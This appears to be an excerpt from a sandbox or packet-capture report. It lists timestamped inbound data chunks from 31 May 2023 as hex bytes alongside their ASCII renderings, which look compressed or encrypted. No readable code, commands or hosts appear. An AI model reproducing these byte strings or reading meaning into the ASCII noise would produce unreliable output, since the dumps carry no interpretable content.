2c 34 d9 9b 3f ed 92 7a a7 79 b8 15 4e c9 92 16 e7 ca 6c bd 9c 57 86 c8 1c 8f 7a 1a e0 90 94 b1 a0 c5 f9 25 16 c3 92 16 c7 62 96 7d 52 92 59 4b c2 c4 82 ff a0 9a da 12 26 96 65 Data Ascii: !"e47raz#XRFC^-ji{)m(xH8%fDiXa<dEp+ 3O 2G.O1r5H13.pT e(x\|s_pd(#u;ESDPBmAq,},4?zyNlWz%b}RYK&e
2023-05-31 10:22:21 UTC	878	IN	Data Raw: 19 3f 11 88 8b 61 21 45 0d f7 e0 62 8a 1a fb f3 f9 d4 e8 88 cc 9f 7c 6a 74 44 e6 48 38 f3 47 6c ce c5 84 33 46 66 cc 1a 47 6c aa e5 83 82 23 36 85 84 33 5c 3e 8b 09 67 8c cc 60 36 40 5c 0c ab 64 3f 75 44 e6 50 0e 68 80 54 0e 5c 12 4a 40 ae ab 45 25 a0 91 e9 25 e4 88 cc 7b 26 a3 04 e2 2a 59 48 38 a3 ee 32 e1 cc 25 8b 3e d1 d0 cb 55 b2 a0 4f 54 53 d4 27 1a 89 e8 df 7f ff 12 62 77 e1 02 fe e7 1f 5f 42 6a 2a 53 2c 3b 62 77 57 06 3d 04 d2 6f 8e bc 32 aa c1 f4 31 46 be 72 45 34 d4 b9 9d d7 ce c7 49 47 ec 2e 74 96 bf fe ef 97 10 bb 0b 9d e5 7f c7 d1 b7 a8 b3 34 12 3a 4b d6 a0 ce f2 7e f1 3f e9 e2 ea 28 6a 6c 28 1a b9 76 37 15 8d 97 84 29 30 07 b8 69 0a 7c c9 9e 9e ac 8e c8 63 64 b4 69 47 e4 81 74 25 5c 0c 7b ea 6c df 2b 93 1f 3a 8a 91 6f cf 18 12 73 b5 69 74 bb Data Ascii: ?a!Eb\|jtDH8Gl3FfGl#63\>g`6@\d?uDPhT\J@E%%{&YH82%>UOTS'bw_BjS,;bwW=o21FrE4IG.t4:K~?(jl(v7)0i\|cdiGt%\{l+:osit
2023-05-31 10:22:21 UTC	893	IN	Data Raw: 25 fd e5 cf b2 e4 21 8f 5c 23 ed 69 8b dd d5 b3 ec 25 cb b3 ac 23 36 55 72 67 3a 22 73 bc be fe 53 35 0e 7f da 07 51 36 e3 2c b9 e8 f0 a7 7d 46 a6 a2 72 44 e6 d0 5f 69 e4 8c 80 69 64 26 96 72 c4 5e 41 b1 15 87 25 10 79 6c e5 a9 0e 44 1e 50 3a 69 80 52 3a 59 a6 ac 49 43 52 47 9d 05 63 e5 ef d1 a4 8d 5a 0d da a8 10 a3 80 36 0b 46 4a e1 f6 c4 ca c5 d0 a0 a6 52 53 52 53 5d 72 b6 1c 47 93 36 6a c1 3d 4b e3 68 0c f7 68 e4 ec b9 0d 9a d4 54 0b 06 e0 9a f6 c6 e0 8d 46 66 78 0f 47 64 6e f6 9f d9 ab c1 3b 0e 9e ee 74 57 c3 d3 1d 9b 1a b3 1c 00 8d c1 1b 2d 6f 5a c6 68 34 c4 af f3 6a 2b df 20 1d 91 39 02 2b f2 a7 6d 0c ac 68 8e f6 6d 14 1e 34 ff be e4 49 b7 02 20 ae 92 76 32 94 96 a3 e0 f1 22 4c 22 99 bf 0c 93 68 e4 ce db 04 50 8c c3 dd b3 55 43 0a ba 55 1f ef 1d b1 Data Ascii: %!\#i%#6Urg:"sS5Q6,}FrD_iid&r^A%ylDP:iR:YICRGcZ6FJRSRS]rG6j=KhhTFfxGdn;tW-oZh4j+ 9+mhm4I v2"L"hPUCU
2023-05-31 10:22:21 UTC	901	IN	Data Raw: 79 d2 0a a7 08 09 e6 b0 d3 73 14 38 ec ec 72 1e 0b f3 08 43 ce bc 0c ba 1e 37 84 1c aa 8b f3 13 12 e2 38 b8 72 20 6e 45 d6 c0 b3 2d e8 62 69 ed 30 b4 2c a1 ab 54 cd d6 2b 43 c3 12 96 8e 5d eb 2b 43 c5 12 cc a7 93 dd 6b 0d e9 60 38 67 73 8d f3 63 f3 dc d0 f0 04 9d e7 ce 5c 11 72 a8 cb 0a 5b f4 0d 15 4f d8 74 1d 6b c8 aa 7b fa 86 0e 73 0c 79 51 75 31 f0 b3 85 7d b5 96 97 a6 57 64 6f a0 22 e3 71 d6 f8 19 2b 83 21 e3 51 cd c3 86 7d 0f 43 d6 0e 91 cf 16 9c a9 0d 79 8e dd 18 d6 4e 90 9f af 46 35 8f 0e 36 3f 0c 35 24 d0 50 c7 10 78 a8 7f 06 9b ce 86 c0 43 3d fc fd 1c 09 be 73 1e 72 d2 11 ac 21 30 57 c5 de 60 0e c7 0d 42 ae 30 6a 32 04 1e 9b f1 52 15 d9 d2 27 26 57 7c ae 31 34 3c 21 05 e7 31 b4 90 b0 c3 1d 91 c5 83 f5 a2 5e d5 ad f5 be 52 54 90 20 e3 ca 5b de c2 Data Ascii: ys8rC78r nE-bi0,T+C]+Ck`8gsc\r[Otk{syQu1}Wdo"q+!Q}CyNF56?5$PxC=sr!0W`B0j2R'&W\|14<!1^RT [
2023-05-31 10:22:21 UTC	917	IN	Data Raw: d3 6e 36 70 5f 9f 76 b3 81 d7 5e fb 72 af 15 32 d5 8a 7b ed bb af 2f c8 bd 56 c8 5c 14 db b1 f3 17 e4 93 a9 92 2c aa 70 13 16 92 45 15 6e c2 f2 c8 9a 8b 6a 9f 89 fc 4a 09 fd 33 91 b9 a8 f1 99 c8 cc 7c 7e 26 92 2d a7 02 a6 92 b9 a8 68 e0 f5 c2 db f8 c2 ab 64 2a 8a 5b 6a b9 6e 77 85 5b aa 90 a9 81 dc 52 2f 25 cf c6 c7 62 25 73 51 6c c7 b5 d7 16 ee b5 42 e6 1c a9 1d 79 15 a5 be a8 92 a9 77 0b 3f d4 b5 09 17 6e c2 42 e6 1c 6c 79 b9 5a 5e d8 f2 d2 2e e6 6c 79 b9 be 20 b7 6d 21 73 0e b6 bc 5c 2d e7 b6 2d 64 2e 8a 2d af d7 48 e4 b6 2d 64 ca c1 6d 5b c8 9c 83 0d ac 35 b7 9c fb b9 90 39 07 1b 78 5d 46 0b f7 f3 52 af 76 f0 32 2a 64 ae 55 b4 e3 7a af 6d 7c af 35 f7 1e ff 44 02 57 d1 4b 19 af 51 19 af 0d 5a de 2b 8a a2 66 7e d5 6f d4 bf 52 2b a1 78 45 6e d4 bf 6a 2b Data Ascii: n6p_v^r2{/V\,pEnjJ3\|~&-hd[jnw[R/%b%sQlByw?nBlyZ^.ly m!s\--d.-H-dm[59x]FRv2dUzm\|5DWKQZ+f~oR+xEnj+
2023-05-31 10:22:21 UTC	933	IN	Data Raw: 86 16 12 e4 38 68 b2 57 43 5e ab a6 81 28 6c d6 2a 2a e0 f1 d2 af b3 21 f0 50 07 78 68 79 88 a9 0e a9 e2 68 f3 81 6d 08 3c 4a dd 89 47 f1 53 9f 90 3c f5 19 02 0f 15 60 9b be 8f 21 ef 12 31 2b 81 4e 91 21 30 37 eb 9a bf 3e 02 81 b9 f8 62 64 5f 55 7f ce 14 52 24 45 36 39 0d 81 79 7b c3 48 40 90 ef b5 ee f5 90 45 21 04 87 fa 39 ec d8 3f 14 0d f0 e8 f4 f2 ef 8e 07 3d 41 af 7d d1 bb b8 f6 b9 b7 40 bf 66 b8 b7 40 4f 50 41 fc bf bd 81 1d ae b4 d4 6f 58 cc 5a 41 0b 45 75 75 02 13 09 b8 7f 28 19 a7 25 41 63 44 c2 98 57 02 fa 4a c8 5c d4 9c c1 43 f6 8f 7f 7e 20 61 f5 48 58 b1 9f 2b 62 51 eb 2a 2a 55 77 3f 39 c7 c6 48 34 35 ab 48 80 36 95 aa 2d c6 8b a2 aa 2d 62 5c a9 87 af f8 b4 03 16 3c e2 b1 bf 2f f2 98 6f 74 c9 dc 72 7a fd c5 3f ad 20 af 95 98 4d ec 98 83 62 36 Data Ascii: 8hWC^(l!Pxhyhm<JGS<`!1+N!07>bd_UR$E69y{H@E!9?=A}@f@OPAoXZAEuu(%AcDWJ\C~ aHX+bQUw?9H45H6--b\</otrz? Mb6
2023-05-31 10:22:21 UTC	946	IN	Data Raw: 52 2d 46 fe 83 04 7f 2b 3a 97 7e 7d e0 41 97 34 c4 da 12 32 2d 96 35 2c 5f 44 7e 50 23 8a ab a1 81 04 46 6a 32 e4 cc 5b a1 f2 57 53 85 46 30 57 3d 7d d4 aa 41 4f bf 55 cd c3 1c 50 c7 17 52 d4 c5 4c b0 65 08 cc 93 e5 bd 21 30 4f f6 38 8a 06 98 ab 31 69 30 87 68 52 48 aa 8b 19 02 f3 c1 03 bd 21 30 57 8d f8 68 39 34 e2 9b 6a 6c 72 c0 35 9c 77 0f a9 c7 da c8 01 fd 76 21 19 6e d7 10 98 27 37 70 86 9c 79 7f 68 96 26 a8 63 f8 f4 45 a3 3f 43 5e d4 50 57 be 18 57 82 bc a8 a1 db 36 3a 71 c4 b6 2d c2 88 38 f5 19 f2 06 0e bd 86 a3 1d 03 ce 7f 9b be 5f c4 ca c0 d7 0c 91 00 d1 27 87 21 e7 a1 ae 03 b1 26 f2 41 a1 89 12 6a 9c 90 05 c5 80 9b 75 a4 59 3b 63 77 ae ea c6 3c 6a 35 e1 3e ad 55 75 9b cd a2 62 77 16 7d d6 33 4a 7e b2 45 5f b5 5b fd 43 ad 56 53 27 2e 48 0d 9a c8 Data Ascii: R-F+:~}A42-5,_D~P#Fj2[WSF0W=}AOUPRLe!0O81i0hRH!0Wh94jlr5wv!n'7pyh&cE?C^PWW6:q-8_'!&AjuY;cw<j5>Uubw}3J~E_[CVS'.H
2023-05-31 10:22:21 UTC	961	IN	Data Raw: 75 fb 66 b7 ef ab db 37 bb 7d 5f dd be d9 ed 7b e7 dd 60 b3 db f7 be aa 9b ba 3d cb 57 fb 1d 0b d9 21 d3 42 76 50 63 42 92 13 f7 3b 26 b5 84 7d c8 45 c5 40 6d 3e 73 6e 68 44 42 96 64 f6 bb b1 a8 dc bb 78 49 40 c9 dc 57 07 a5 84 24 aa ed f7 62 3b f2 b6 7d 10 db b1 d2 98 23 96 85 92 a2 a1 67 cb 37 db b1 2f e6 9b cc f3 6e 20 c1 c2 3e 82 cc cc 1f 76 e2 f3 9e a9 ba 0f 3b 91 11 ad 0d 05 f3 27 af 0c 12 53 8c 09 69 13 c6 1d a4 92 0d 66 56 86 c8 43 ce 6a e4 d1 59 54 4f a2 da e6 f9 5c bc d4 73 51 3b 25 9c 6e 0f e6 3c f0 8a 3f 78 ca c1 63 9f fa 6d 7f fa ce 84 e8 12 d1 5f b1 56 25 be 0f 8d 0a 9c 8a e2 d0 ca e9 ee e7 3f 98 c0 a2 f6 93 73 70 04 d5 54 9e 3c d8 0e 39 ab 31 07 cf 6a 6a 91 f2 ed ff 8b 04 8e 87 9c d5 52 0e 4e 6a d1 91 91 47 8d fd 7c cb 21 2e e5 88 fd 5c a2 Data Ascii: uf7}_{`=W!BvPcB;&}E@m>snhDBdxI@W$b;}#g7/n >v;'SifVCjYTO\sQ;%n<?xcm_V%?spT<91jjRNjG\|!.\
2023-05-31 10:22:21 UTC	977	IN	Data Raw: 79 6c 4d c4 84 53 e4 45 59 1c 7a d3 d6 1a 32 e6 7a 2e 89 49 bd c7 7e 7c fa 1c 72 84 d2 c9 90 75 c9 9e ef 67 46 ef 2a 1a 48 08 cb 4c 47 5e 5d 39 97 c4 c7 a9 e7 92 37 12 26 d7 f6 1d f6 25 87 2c 62 b2 e9 fb a0 22 30 2f 11 92 58 50 75 0b 88 47 8f 38 d1 ed 7a c4 01 8f a6 fe 83 bf 7a 42 f3 f3 f9 21 d5 97 2c da e1 be 64 42 8e ca 35 51 0f 45 28 6a 50 93 6a 08 d5 9d b5 b1 af 04 29 8f 22 6e 28 13 0a 53 45 f6 19 9c 9d b5 f2 9a 5c 51 43 42 e3 12 6e a8 20 61 c1 d0 da 91 f3 58 2a 27 1a 73 43 03 09 7a 85 8d a2 ba 1f e2 d4 ba 24 ce 6a 6a 5d f2 06 f3 21 0b b2 59 40 18 02 73 95 2c 23 07 24 4b 21 37 4c 9a 1d 81 f9 6a f0 3e 73 04 e6 bb 85 25 87 21 f0 90 33 a4 0b 90 86 9c c7 d6 3b 2f e4 d8 b8 c1 12 b2 c3 3b d3 50 f1 76 6c bd 8f 42 ef 6e dc 47 1d 52 57 06 5b 45 0d 79 75 b7 de Data Ascii: ylMSEYz2z.I~\|rugFHLG^]97&%,b"0/XPuG8zzB!,dB5QE(jPj)"n(SE\QCBn aX'sCz$jj]!Y@s,#$K!7Lj>s%!3;/;PvlBnGRW[Eyu
2023-05-31 10:22:21 UTC	993	IN	Data Raw: 17 55 7b bc ed 91 6c cb a1 a8 21 61 44 7c 51 43 c3 13 54 66 70 e6 8a 8c 87 3e e9 1d 9f 9a 3e e9 fd 46 42 da cf f9 c0 bb dc dc ab 9c f8 f3 2b 90 33 af 8d 36 5e 86 90 a3 cb 78 fc e6 b5 12 04 e6 43 ba 24 8a 1a e8 92 51 f5 99 da 9f 7f 7f 05 42 0e 51 48 62 68 15 79 97 54 f5 bb 0b e6 f0 bb 93 77 09 35 b0 89 e7 68 08 fe ab 0f 16 4a 20 a6 7f 5e 81 16 12 34 14 e3 67 24 40 9f e8 af cb fb a4 e6 eb f2 42 ca 42 f6 9f 3f 5f 81 50 94 be 2e ff 2f 14 85 07 16 b7 bf 2e 1f b5 42 80 61 21 1b 27 9c 22 f0 d0 5b 32 df 07 15 81 87 06 87 88 5a 21 38 84 90 a2 de 31 53 15 45 18 da a6 f7 6a 66 46 62 08 5d 92 62 15 1b 72 e6 5d 23 c4 ba b6 56 91 33 d7 0b 74 9c b6 c7 88 fb a8 a1 97 c2 b8 cd 50 64 b5 9a f6 ba 8a 6b bc 66 bc ae b2 fd 2d 6c 3f 22 f3 2d ec ed 6f 61 3b 0f be 85 bd fd 2d ec Data Ascii: U{l!aD\|QCTfp>>FB+36^xC$QBQHbhyTw5hJ ^4g$@BB?_P./.Ba!'"[2Z!81SEjfFb]br]#V3tPdkf-l?"-oa;-
2023-05-31 10:22:21 UTC	1009	IN	Data Raw: 31 59 e8 ed 65 47 9e dd a5 31 b6 74 f4 71 e4 3a 8e 76 ce 48 ea 78 e7 94 38 4a 3a b1 78 76 15 59 52 a7 e8 e5 77 bd 4c ea 68 3b 43 1f 6a 09 89 78 a8 45 83 06 ca 8e e5 87 60 b8 5d 54 48 7d 76 e5 fb 9f 3f 02 79 b5 1f 7b 44 c5 6b f7 c4 23 2a 42 aa 7f a2 d7 d5 89 27 51 84 54 ff 44 bd 27 ec 28 94 ab 95 f3 db bf 1f 40 a1 5c 6d 96 d0 e1 f6 c4 97 b4 17 43 b4 73 0a f2 67 3e 84 54 eb e0 5f 9e 54 3c da 21 a4 7a e9 45 52 f1 d2 86 90 ea 8c f7 83 d7 55 3c a8 21 a4 ce ce 51 57 d5 67 67 89 52 a5 b3 b3 bc b6 19 48 95 4b 30 2a 99 58 ac 7f 18 d2 a4 86 3e 77 e7 61 18 0c 59 83 7b f3 a0 33 8e 35 6a 43 d3 18 53 6f c5 eb 33 83 8e 4c 87 38 f8 c4 08 e7 c8 25 b6 1e c5 eb 20 63 a8 3e c1 40 38 09 47 21 71 f0 62 a1 a3 1e 8c 11 77 5f 15 99 a5 48 fc c9 f4 96 50 48 c4 2d 21 21 f5 6c 3b 24 Data Ascii: 1YeG1tq:vHx8J:xvYRwLh;CjxE`]TH}v?y{Dk#B'QTD'(@\mCsg>T_T<!zERU<!QWggRHK0X>waY{35jCSo3L8% c>@8G!qbw_HPH-!!l;$
2023-05-31 10:22:21 UTC	1024	IN	Data Raw: 64 f3 43 46 52 dc 22 8f 6b 58 1a 1c 96 86 0c 4b 18 5e 07 87 25 f5 5c 66 39 b8 b8 1b b2 b8 83 79 67 70 71 37 ae 81 6c 70 20 1b 32 90 a1 31 0c 0e 64 e3 5a 0e 0e 2e 07 c7 b5 db 1e 5c 0e 8e 9a db ee e0 72 50 1f 83 f9 42 09 7e 0f dd 54 ff 46 06 75 8c 4b 07 bf 47 cd 83 fe e0 59 91 be 12 f3 d3 5f 64 20 a9 96 a7 a2 c1 2d b2 06 49 c2 24 3c b8 1c d4 57 62 30 2c 0d 2e 07 c7 b5 77 1e dc 3b 8f 96 67 e7 c1 e5 e0 b8 66 83 c1 d9 60 c8 6c f0 99 12 fc 82 d7 2e 75 70 97 9a c2 94 18 aa 64 64 1d 1c db 87 9a 0d 7f 22 83 3a de 41 ff ff 50 ed 1c f4 c7 b8 ea 8a 83 fe 10 b3 e1 d7 bf c1 60 5d 8d 92 e6 c1 c1 7d 6d 7a d4 c6 10 94 8f 96 3f 2d 57 7d 63 e6 a9 68 70 51 34 e4 f0 85 4d 94 87 2f ea 46 02 5b f8 e0 e1 cb b8 e6 8f c1 f9 63 f0 aa ae 21 e4 6a 5d 7d 90 d3 84 3e 9c c3 0f c5 69 42 Data Ascii: dCFR"kXK^%\f9ygpq7lp 21dZ.\rPB~TFuKGY_d -I$<Wb0,.w;gf`l.updd":AP`]}mz?-W}chpQ4M/F[c!j]}>iB
2023-05-31 10:22:21 UTC	1040	IN	Data Raw: c3 14 f9 87 1a 4b 17 45 b6 16 35 64 12 ab af 34 fa 28 aa ce d0 26 6a 6b 1f 43 ce d8 e9 be 9a 21 30 78 5f cd 90 55 e2 9e e9 90 d5 50 75 86 1e b2 9a 7f 89 21 95 98 a5 25 a7 5b 43 d3 18 fd e1 6d 27 41 3e 32 4c 71 8d 45 ff 30 34 83 a1 41 15 7e fb 00 52 e5 53 6d fd 51 57 8a 6c 84 13 12 6f 3b 39 9a ce 60 10 18 47 91 14 23 8c 3b da ce e0 dd 70 47 3d 18 f4 c5 31 14 3a 1a dd bf 0d 85 8e 4e 0b bd 21 d5 f1 2e 31 92 bf a8 a1 19 8c 03 43 8a a1 6a 8c de b9 d2 57 64 63 a2 90 9c 0d 0c 79 52 23 f9 fb 18 aa c1 a0 e3 89 21 cf 55 1e 4b 0c 75 67 a4 b1 44 d1 74 e5 23 79 08 19 72 1d f3 e1 b9 81 21 63 94 14 8f cc 11 18 72 00 6a bd d6 d0 0e 86 4c c2 b6 e1 35 d4 9d a1 6e d3 66 b2 10 e4 73 ad 90 b2 1f b4 61 c9 d0 0c 86 ec 07 6d fe 30 14 ca d5 22 ec d5 ae c8 95 bf bb 01 56 89 a2 0e Data Ascii: KE5d4(&jkC!0x_UPu!%[Cm'A>2LqE04A~RSmQWlo;9`G#;pG=1:N!.1CjWdcyR#!UKugDt#yr!crjL5nfsam0"V
2023-05-31 10:22:21 UTC	1056	IN	Data Raw: e2 27 3b d1 90 f7 95 99 c0 ef 58 07 81 5c f9 f0 f8 ed 1c 0c 23 e2 b7 af d1 60 47 c6 ef 03 c8 95 df 83 e1 93 d5 35 c4 ea 9a 1b 4c fe 50 40 54 3e 10 5c 88 7b 51 a0 2d 46 3e fd 02 45 51 f0 fa 65 cb 81 a6 18 e9 2b e3 48 3a f0 0a 90 12 4b 0d 1c 18 25 21 11 a3 04 56 f0 45 c7 49 1d 75 f8 b8 e9 bb 18 4f d8 46 39 62 51 16 9f 25 25 2c 3e cb 47 8c 7c e1 75 44 1d 13 53 5f 48 3c 59 14 a6 3e f5 ee 8c a9 cf c8 53 74 c4 6f 3e cc 68 e6 2d 12 5a ee c6 7e f2 24 ec 88 7d b5 4f d9 08 03 b9 c4 ad 1f bc fb 7d cf 00 b4 c9 98 79 2a 72 d4 c8 58 a5 1d 40 94 78 30 ef 4a e2 89 79 d7 ac 85 b2 56 40 2c ea c1 9e 3a 24 62 4f 8d dc eb b1 e2 20 f7 ba b7 7c 36 5c 2e 4b a2 e9 72 d9 c8 16 3e 3f 8e a8 bc cd 7c 3f 77 d4 c5 d8 71 ae 05 da 2a 0a 1b fa 28 2a 36 f4 f6 36 15 a6 43 8e 9a 18 33 47 3b Data Ascii: ';X\#`G5LP@T>\{Q-F>EQe+H:K%!VEIuOF9bQ%%,>G\|uDS_H<Y>Sto>h-Z~$}O}yrX@x0JyV@,:$bO \|6\.Kr>?\|?wq(*66C3G;
2023-05-31 10:22:21 UTC	1072	IN	Data Raw: 11 15 36 e6 44 a0 4d 06 5c df 38 c3 01 4d 32 f0 12 f7 8b 8a d2 4b 5c bb c3 25 8d 23 1d b1 28 04 01 09 89 47 e6 c6 ed 78 82 13 d5 ea 89 93 b0 3d b2 e5 3b 0e 10 75 58 ca b0 a3 4b 59 33 8c e0 2c 6a b9 b7 23 ba 98 23 56 b7 b5 f2 19 00 75 31 76 fe b4 9e da 9a 8c b7 7c 06 40 2a ea c5 64 29 89 57 93 25 6e d2 56 16 15 47 4b bf 7c 89 4e 6c 71 82 b4 b3 53 98 0e 39 52 51 3d 83 cd 3a 52 51 e3 d9 a5 1d 71 50 bc 64 f9 3e 80 54 5d ec 00 a2 a8 d8 01 60 17 76 b2 a8 a9 09 f9 f0 9e 5a 12 71 4f 7d c9 b2 a4 02 49 39 1c a1 43 42 8e d0 0d cb 4f 0e 9f 26 53 60 23 ed 53 e3 ce 12 48 0d c4 cd 76 b4 23 6e b6 cd ed ee fe 1e bf ab 28 59 b7 19 b9 f2 a8 0f c4 ea be 08 a5 f5 2b ab fb 2a 94 56 b3 1c 08 b9 67 00 a2 f2 de f2 b1 18 48 ca 3b 82 3d a9 13 bb 82 3d 5d 12 4f a6 fc ce 81 a8 bc 97 Data Ascii: 6DM\8M2K\%#(Gx=;uXKY3,j##Vu1v\|@d)W%nVGK\|NlqS9RQ=:RQqPd>T]`vZqO}I9CBO&S`#SHv#n(Y+VgH;==]O
2023-05-31 10:22:21 UTC	1088	IN	Data Raw: 79 d1 c8 53 75 c8 57 7f 59 44 96 95 5f 14 2e 7e c4 c8 cb 9a a5 6c 50 20 5b 5e d6 00 e9 fb f0 c0 58 21 21 ef 7e bb 60 ff 94 1f 6a cb bb ff 92 e3 2d 13 d9 1e 31 8b ee 31 ca 44 b6 47 8c dd 5d 1c ec 81 a4 e3 14 07 7b 47 6c a0 07 df 92 44 04 df 5a e6 7b 54 06 dc 99 23 24 ca 89 c5 11 6b 75 ca 89 c5 91 8a 8a 3c 3f 42 2a 6a d7 c1 70 74 62 59 4f 35 b4 76 d4 c5 48 43 6b 20 f6 ee 25 d3 1c c6 d1 14 e3 84 81 99 23 e9 28 46 53 8e b6 18 69 34 e5 48 ca 57 3a b2 39 52 51 2b af a3 1d 49 62 e7 ed 87 23 49 94 4b 59 47 54 fe 94 13 8b a3 60 ac 78 05 70 44 1d 4f 79 ce 74 c4 96 3f e5 60 e2 48 45 95 78 32 8e 54 d4 28 43 f4 89 40 33 97 2c f7 bb 8e 54 d4 2c 5b 03 bb 41 fe 48 a2 78 99 3a 52 ad ca fd ae 23 29 df 65 16 05 a2 44 35 63 77 b4 c5 78 4b b7 87 19 fb 25 71 f8 e1 b2 fd 84 51 Data Ascii: ySuWYD_.~lP [^X!!~`j-11DG]{GlDZ{T#$ku<?B*jptbYO5vHCk %#(FSi4HW:9RQ+Ib#IKYGT`xpDOyt?`HEx2T(C@3,T,[AHx:R#)eD5cwxK%qQ
2023-05-31 10:22:21 UTC	1092	IN	Data Raw: 25 77 7e 2c 53 b8 21 15 55 e3 5f 19 d2 0f 85 af 33 25 94 e6 7c d9 63 44 19 0c 27 6c 07 cf 59 e5 72 c0 90 d6 c1 53 42 da 3b 52 03 f1 b4 c5 a7 5f 20 d5 ea 14 6b 75 20 e9 38 69 ad 6e 11 dd 68 ad be ad 0b 63 02 70 34 c5 c8 10 6d 8e 1a 19 3d 1f 59 1d 49 a2 e7 23 ab 23 49 94 23 99 a3 2d 46 5a 92 3b ea 64 94 57 32 47 64 3c e5 95 0c a8 b3 1d 4f b1 eb 73 24 09 9c bc 7e 95 84 4e 5e 76 67 94 6f 5e 8e a6 18 f9 e6 e5 88 ed 78 46 6e 6b 81 a6 8a 2a 76 7d 8e 24 51 62 6c 39 92 8e 12 63 cb 91 24 8a 2f 99 a3 2d 46 6e 6b 81 1a 95 b7 4f 7e 6a 8e ba 18 b9 4c 00 ed 90 b0 6f d0 2d 52 1c 4d 31 4e f9 cd 9b 1e c3 2e d9 f2 d1 c2 d1 16 23 bf 28 47 52 5e e2 4c 38 92 04 4e 77 a1 5c 87 38 8b 80 3e 6b 3b 74 f2 f2 40 e9 a5 1d 32 11 dc 16 f2 ae e8 30 b4 c5 c8 23 99 23 16 f5 96 0c c4 1b 46 Data Ascii: %w~,S!U_3%\|cD'lYrSB;R_ ku 8inhcp4m=YI##I#-FZ;dW2Gd<Os$~N^vgo^xFnk*v}$Qbl9c$/-FnkO~jLo-RM1N.#(GR^L8Nw\8>k;t@20##F
2023-05-31 10:22:21 UTC	1108	IN	Data Raw: 96 3b 7d 20 4a 4c f7 f3 92 c4 bc b4 6c 4f f3 bb ca 51 e2 5e 58 c1 90 23 02 11 24 96 dd 58 84 0e 47 f3 a3 90 d8 ef 02 2d 30 dc ae 27 24 3a 5d 62 8c ec 65 be 72 84 76 6c 8b c8 10 12 8e f6 47 21 f1 6a 09 e4 46 d0 f6 9a d4 f3 7b 38 ea 1f 85 fc bf 9f 92 31 c0 18 3b ed 4b 80 a0 e3 59 a7 dd be 04 ed 70 e4 45 3d f3 56 b9 ba 07 6a c1 88 93 17 d0 06 a3 ad 34 74 70 84 29 c3 d2 65 e7 b1 0f a8 89 f1 1c a4 b9 a1 07 da c1 18 57 e8 68 cc e1 e6 64 1e 14 81 58 5d 0f 41 c3 a3 0c d0 14 23 57 35 20 15 e5 57 ac 51 2b 5d b1 7a b8 9c 58 d5 3c 5c 0e 86 e8 b1 f5 3f de bc 80 a0 e3 c6 61 94 12 77 1c 46 ed 71 f8 8a 3b 64 20 54 77 20 d0 0c 25 86 02 cd 18 d9 72 df 0e 04 1d f3 6d 81 0e 25 e1 a8 8b 91 2f a3 70 58 47 75 3d a6 5b b4 c3 63 ba 05 23 2f e8 80 a0 63 c1 82 8e 12 2b 2c e8 8e 5d Data Ascii: ;} JLlOQ^X#$XG-0'$:]bervlG!jF{81;KYpE=Vj4tp)eWhdX]A#W5 WQ+]zX<\?awFq;d Tw %rm%/pXGu=[c#/c+,]
2023-05-31 10:22:21 UTC	1124	IN	Data Raw: ae 6b b9 c5 71 d4 de c1 b8 8b 8e 9e 45 65 f2 43 22 31 c6 55 db c1 e4 87 db af 83 6a 3b 56 8b 76 ac 08 69 4f 14 12 f9 38 09 c4 de 45 64 bc 90 d0 94 61 64 ae ce 8e b6 74 ec 53 5b ce 8c 08 16 db 27 3d c3 88 a6 18 91 2a 81 48 12 19 ac 9c 88 b5 2a c1 ca 89 ba 18 b5 77 57 8b de 45 28 94 94 18 1a 25 2b 93 c8 13 a9 a8 3b 0c 36 1c 4d 75 e2 ba f3 d5 12 48 45 f5 ab f4 ae a2 98 1b 99 56 de 44 6a 47 86 37 07 d2 0f 67 a5 e1 22 91 8a 72 7b ea 90 a0 3d b5 91 19 d2 85 48 12 99 56 82 88 ca 4b 08 75 22 b6 63 5f ef f2 cd 37 8d 8d 9c 0c 0b 6c 22 ea f0 5b bd 94 88 09 b9 ef 4c 44 01 a4 06 ee 4c 44 41 24 e5 77 9d e1 f6 1d 33 dc b3 c0 96 96 6f 66 77 dc dd b2 bf 3c f5 a0 84 a3 fb a3 90 d8 91 01 51 a2 d7 d5 c0 11 19 f3 de ef 68 87 23 b4 63 b5 53 46 89 23 48 2c cf dd 2d 1d 8e 28 31 Data Ascii: kqEeC"1Uj;VviO8EdadtS['=HwWE(%+;6MuHEVDjG7g"r{=HVKu"c_7l"[LDLDA$w3ofw<Qh#cSF#H,-(1
2023-05-31 10:22:21 UTC	1140	IN	Data Raw: 05 63 56 1d d9 bb 2d 92 89 11 85 8e 32 f5 19 e2 44 66 39 45 66 91 e8 5a e8 b7 27 f7 49 09 e6 63 71 d2 5e 01 42 82 be 00 76 59 f6 2e a3 64 5f 6f 8d 92 0d 27 7e 49 c8 89 1f 97 6d a7 48 e8 f0 d3 37 e2 d6 4a 42 71 6b 9d 5c a5 1d 8a 5b eb e4 6e 55 62 b7 90 28 bf 0f 47 53 8c 53 7a 57 91 55 41 96 6f de f2 9b 7b 28 cf 94 d0 15 6b df b0 75 0e 09 5d b1 3e a4 45 a1 4c 89 91 ca 67 fd 82 1e 3a 92 0c f7 31 09 89 75 15 46 e9 2b 4b 47 af 96 bb 89 47 4a f0 4e c6 c8 7c 83 04 8a a2 ec c2 34 25 ee e8 c4 75 c7 86 1e 28 8a ea ab ea d0 b2 ed 66 7d b5 56 7c f9 71 b2 f6 6e ec e1 1e b2 cc d4 8e d4 25 7e f7 1a 12 ba 7b ed 8c d9 1f 12 3a 15 19 d9 af d2 bb 3a ca 80 2c 2d 7f d0 fe 28 64 95 38 62 e4 1d 00 90 aa eb a7 a2 94 38 51 2b 3f e3 84 84 ce 38 46 da 7e 37 24 f4 12 d7 91 c6 b5 48 Data Ascii: cV-2Df9EfZ'Icq^BvY.d_o'~ImH7JBqk\[nUb(GSSzWUAo{(ku]>ELg:1uF+KGGJN\|4%u(f}V\|qn%~{::,-(d8b8Q+?8F~7$H
